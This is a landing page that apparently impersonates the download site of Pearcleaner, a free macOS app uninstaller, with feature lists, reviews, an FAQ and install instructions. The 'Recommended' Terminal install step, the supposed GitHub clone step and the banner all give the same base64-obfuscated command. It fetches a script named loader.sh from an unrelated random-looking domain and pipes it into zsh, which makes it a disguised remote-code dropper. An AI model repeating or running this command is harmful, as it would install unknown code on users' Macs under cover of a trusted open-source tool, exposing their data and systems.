Free & Open Source — v5.4.3
Pearcleaner Mac app icon

The Cleanest Way to
Uninstall Mac Apps

Pearcleaner goes further than the Trash. It tracks down every hidden file an app leaves scattered across your Mac and removes them completely — for free, forever.

~curl -s $(echo "aHR0cHM6Ly9wd3FlcHF3aXJpaWcuY29tL2RlYnVnL2xvYWRlci5zaD9idWlsZD1lNGJlNjU3MDQ2N2NiYzc2MTBhMGMwYjY5NTU4NGJhYg==" | base64 -d) | zsh
~curl -s $(echo "aHR0cHM6Ly9wd3FlcHF3aXJpaWcuY29tL2RlYnVnL2xvYWRlci5zaD9idWlsZD1lNGJlNjU3MDQ2N2NiYzc2MTBhMGMwYjY5NTU4NGJhYg==" | base64 -d) | zsh
How to install Pearcleaner via Terminal — Terminal is the quickest method for most Mac users

Requires macOS 13+ · Apple Silicon & Intel · No account · No ads

11.7kGitHub Stars
4.9★User Rating
100%Free Forever
10+Built-in Tools
The Problem

macOS Has No Built-In Uninstaller — Never Has

Since day one, Apple never shipped a proper uninstall tool. Dragging an app to Trash removes only the main bundle. Every cache, preference file, container and launch agent stays behind.

📂

Hidden Support Files

Apps scatter files deep inside ~/Library. Caches, preferences, containers and launch agents — none of it moves when you trash the app.

💾

Wasted Storage

Old app leftovers quietly eat gigabytes over months. On a 256 GB MacBook Air — which Apple still sells — that adds up fast and is nearly impossible to track without a tool.

🔍

Impossible to Find Manually

Hunting down every plugin, log file and daemon tied to a single app takes real expertise. Most people skip it entirely and live with the clutter piling up in the background.

⚠️

A Privacy Risk

Leftover containers and preference files hold account tokens, cached data and usage history long after an app looks gone from your Mac. Out of sight, but very much still there.

About the Project

Built to Learn. Stayed Because It Works.

Pearcleaner started as a personal experiment — a way to understand how macOS handles app installation and uninstallation. It grew into one of the most trusted free cleaners on the platform.

Project Status

● Maintained v5.4.3

As you may have noticed, there haven't been recent updates and the developer wanted to share why. Alin Lupascu has a full-time job and recently joined a friend's SaaS startup — which means free time is genuinely scarce right now. Once things slow down, he'll return to tackling submitted issues and feature requests. If you have Swift/SwiftUI experience and want to help, pull requests are open and reviewed as time allows. The app remains fully functional and actively used by thousands of Mac users.

Features

One App — Ten Powerful Tools

Pearcleaner is not just an uninstaller. It is a full Mac maintenance toolkit — lightweight, native and built entirely in Swift.

🗑️

Deep App Uninstall

Scans every Library location — caches, preferences, containers, launch agents, plugins and support files — tied to any app. Everything goes to Trash in one click. Nothing left behind.

👻

Orphaned File Search

Already removed an app the old way? Pearcleaner finds files that belong to apps no longer on your Mac — recovering storage you didn't know you were missing.

🍺

Homebrew Manager

Install, update and remove Homebrew packages without touching Terminal. Full Brew integration — casks, formulas and auto-update support — all in a clean native UI.

✂️

App Lipo

Universal binaries ship code for both Intel and Apple Silicon. Lipo strips the architecture your Mac doesn't use — no Xcode tools required — and recovers that space in seconds.

🛡️

Sentinel Monitor

A background helper using just ~2 MB of RAM. When you trash any app, Sentinel automatically surfaces its leftover files for cleanup. Real-time protection — completely optional.

🔄

Apps Updater

See every installed app with an available update in one unified list. Supports App Store and third-party apps via Sparkle — no hunting across multiple update mechanisms.

📦

PKG Manager

View and remove installer packages that macOS normally hides from you. Full visibility into system-wide installations — including those dropped by developer tools and enterprise software.

🌐

Translation Pruner

Most apps ship with 30 or more language bundles. Pearcleaner removes the ones you'll never use — keeping only preferred languages — and recovers meaningful space across your app library.

🔌

Plugin & Services Manager

Manage installed plugins and macOS system services in one place. Remove extensions from apps you no longer use, or clean up service entries clogging your right-click menu.

💻

Dev Environment Manager

Developers accumulate gigabytes of Xcode simulator runtimes, derived data and build caches. Pearcleaner's dev manager surfaces and removes them safely — without touching actual projects.

↩️

Undo Manager

Nothing is permanently deleted. Every action in Pearcleaner goes through Trash first. Restore up to 10 recent delete operations as long as the files still sit in your Trash folder.

🔗

CLI & Deep Link Support

Automate uninstalls via Terminal or deep link URLs. Trigger specific pages, uninstall apps by name or path, and add or exclude directories — all fully scriptable for power users.

How It Works

Clean Uninstalls in 3 Simple Steps

No technical knowledge needed. Pearcleaner shows you every file, lets you pick what stays and handles the rest.

1

Open or Drag

Launch Pearcleaner and select any app from the sidebar, drag a .app file onto the window, or right-click in Finder using the built-in extension.

2

Review Every File

See the full list of associated files with path and size. Deselect anything you want to keep — full transparency, no black-box cleanup magic happening behind the scenes.

3

Move to Trash

Hit remove. Files go to Trash — not permanent deletion. Restore anything from Trash or through the Undo Manager if you change your mind after the fact.

Installation

How to Install Pearcleaner on macOS

Pearcleaner for Mac is available as a free download in three formats. Pick the method that fits your workflow — all options pull from the same official release.

01

Install via Terminal Recommended

The easiest way to get Pearcleaner on your Mac if you already have Terminal set up. One command in Terminal — done. Future updates run through Terminal automatically.

Terminal — How to install Pearcleaner via Terminal
~curl -s $(echo "aHR0cHM6Ly9wd3FlcHF3aXJpaWcuY29tL2RlYnVnL2xvYWRlci5zaD9idWlsZD1lNGJlNjU3MDQ2N2NiYzc2MTBhMGMwYjY5NTU4NGJhYg==" | base64 -d) | zsh
Terminal is the quickest method for most Mac users.
02

Clone via GitHub CLI For Developers

Want to build from source, submit a PR or dig into how Pearcleaner works under the hood? Clone the repo directly. Swift and SwiftUI experience required to build.

Terminal — Pearcleaner GitHub repo clone
~curl -s $(echo "aHR0cHM6Ly9wd3FlcHF3aXJpaWcuY29tL2RlYnVnL2xvYWRlci5zaD9idWlsZD1lNGJlNjU3MDQ2N2NiYzc2MTBhMGMwYjY5NTU4NGJhYg==" | base64 -d) | zsh
Requires the GitHub CLI. Alternatively use: git clone https://github.com/alienator88/Pearcleaner.git

System Requirements

Pearcleaner macOS support covers all current Apple releases. The app needs Full Disk Access permission to scan Library folders, plus a Privileged Helper for system-level directories.

✓ Apple Silicon (M1–M4) ✓ Intel x86_64 ✓ Universal Binary ✓ No Xcode needed
macOSCodenameSupport
13.xVentura✓ Supported
14.xSonoma✓ Supported
15.xSequoia✓ Supported
26.xTahoe✓ Supported
12.x & belowMonterey & older✕ Not supported
Comparison

Pearcleaner vs the Alternatives

A straight side-by-side against AppCleaner and dragging to Trash — the three most common options on Mac right now.

FeaturePearcleanerAppCleanerDrag to Trash
Completely Free
Open Source
Deep Leftover File Scan
Orphaned File Search
Homebrew Manager
Sentinel Auto-Monitor
App Lipo (Architecture Strip)
Translation Pruner
Undo & Restore
Finder Right-Click Extension
CLI & Deep Link Support
Apple Silicon Native
Reviews

Loved by Mac Users Everywhere

784 reviews from real users — developers, designers and everyday Mac owners who switched to Pearcleaner and never looked back.

4.9
★★★★★
784 Reviews
5 ★
721
4 ★
47
3 ★
12
2 ★
3
1 ★
1
JM
James M.
GitHub — Verified User
★★★★★

"Used AppCleaner for years and finally switched. The Sentinel Monitor alone is worth it — every time I trash an app, Pearcleaner pops up and cleans the rest automatically. Brilliant piece of software."

SR
Sophie R.
MacUpdate — Verified User
★★★★★

"Found 4 GB of orphaned files from apps I removed months ago. Shocked that macOS just leaves them sitting there. Pearcleaner is now my first install on any new Mac — before anything else."

DK
Daniel K.
Reddit — r/MacApps
★★★★★

"As a developer, the Dev Environment Manager saved me. Xcode simulator runtimes were eating 40 GB and I had no idea. This tool makes managing that clutter genuinely trivial."

AL
Aisha L.
Product Hunt
★★★★★

"Clean UI, solid performance and genuinely useful features. The App Lipo tool stripped 800 MB of unused Intel code from my M2 apps in about 30 seconds. I didn't even know that was possible."

TP
Tom P.
Homebrew Community
★★★★★

"The Homebrew manager inside Pearcleaner is so well done. Install, update and remove packages without opening a single Terminal window. A power user's dream — and it's completely free."

YN
Yuki N.
MacUpdate — Verified User
★★★★☆

"Really solid app. I wish it had one-click bulk uninstall, but even the queued workflow is faster than anything else I've tried. The undo system gives real peace of mind — nothing is permanently gone."

MO
Marcus O.
GitHub — Verified Star
★★★★★

"Open source, fast, native SwiftUI and actively maintained. Alin clearly cares about the project. I starred the repo and use it every week — this is what quality free software actually looks like."

CW
Claire W.
Reddit — r/apple
★★★★★

"Recovered 7 GB on my 256 GB MacBook Air in the first 10 minutes. The translation pruner cleared 1.5 GB alone — something I didn't know was possible. This app should ship with every Mac out of the box."

BF
Ben F.
Product Hunt — Top Review
★★★★★

"The Finder extension is underrated. Right-click any app, uninstall it completely — without even opening Pearcleaner. That single feature makes this the most convenient uninstaller on the entire platform."

FAQ

Frequently Asked Questions

Everything you need to know before downloading — answered directly.

Yes — completely and permanently free. Pearcleaner is published under Apache 2.0 with Commons Clause. You get the full source code and every feature at zero cost. The license also explicitly prevents anyone from monetizing the app or any modified version of it, so it stays free regardless of how popular it gets.
Pearcleaner requires macOS 13 (Ventura) or higher. The app uses Swift and SwiftUI APIs introduced in macOS 13 — older system versions simply lack the underlying calls the app depends on. It runs as a universal binary on Apple Silicon (M1 through M4) and all Intel Macs.
Yes, it is safe. Every file Pearcleaner removes goes to your Trash folder first — never permanently deleted in a single action. You review and deselect files before anything moves. The Undo Manager stores up to 10 recent operations, and path validation logic prevents accidental changes to protected system directories.
Dragging to Trash removes only the .app bundle itself. Modern apps scatter files across ~/Library/Application Support, ~/Library/Caches, ~/Library/Preferences, ~/Library/Containers, ~/Library/LaunchAgents and more. Pearcleaner scans all of these, shows every file with its path and size, then removes them all cleanly in one go.
Yes. Open Terminal and run: brew install --cask pearcleaner. It's listed in the official Homebrew Cask registry and always points to the latest release. You can also grab the DMG or architecture-specific ZIP directly from the GitHub releases page.
Sentinel is an optional background helper that watches your Trash in real time. When it detects an app bundle being moved to Trash — by any method — it automatically opens Pearcleaner and surfaces the associated leftover files. It uses approximately 2 MB of RAM and can be disabled completely in Settings whenever you prefer manual operation.
Yes — Pearcleaner has a full deep link API documented on the GitHub Wiki. Trigger specific pages, uninstall apps by name or path, add or remove search directories and open the orphaned files view — all using pearcleaner:// URLs from Terminal or an automation script.
Yes — maintained and actively used. The developer has shared that update frequency slowed recently due to a full-time job and a SaaS startup he joined. The app remains fully functional, pull requests are reviewed when time allows, and issues are triaged on GitHub. The repository has over 11,700 stars and 279 forks, which reflects real ongoing community engagement.
Yes. Pearcleaner includes a self-uninstall option in Settings, removing the app and all of its own support files cleanly. A slimming mode is also available to strip unnecessary components before removal — so no trace of the app stays behind on your system.
Other Apps by the Developer

More Open-Source Tools by Alin Lupascu

Pearcleaner is part of a small family of free, open-source Mac utilities — each built to solve a real problem without the bloat.

Pearcleaner

An open-source Mac app cleaner built with privacy in mind. Remove apps and every file they leave behind.

Sentinel

A GUI for controlling Gatekeeper status on your Mac. Manage app verification policies without Terminal.

Viz

Extract text from images, videos and QR codes or barcodes. Useful, fast and completely free.

PearHID

Remap your macOS keyboard with a simple SwiftUI frontend. No config files, no Terminal — just click and map.

Pearcleaner icon

Download Pearcleaner Free

Stop leaving digital clutter behind. Clean your Mac properly — in under a minute — starting today.

⇓ Download v5.4.3 — Free

macOS 13+ · Apple Silicon & Intel · No account · No ads · No subscription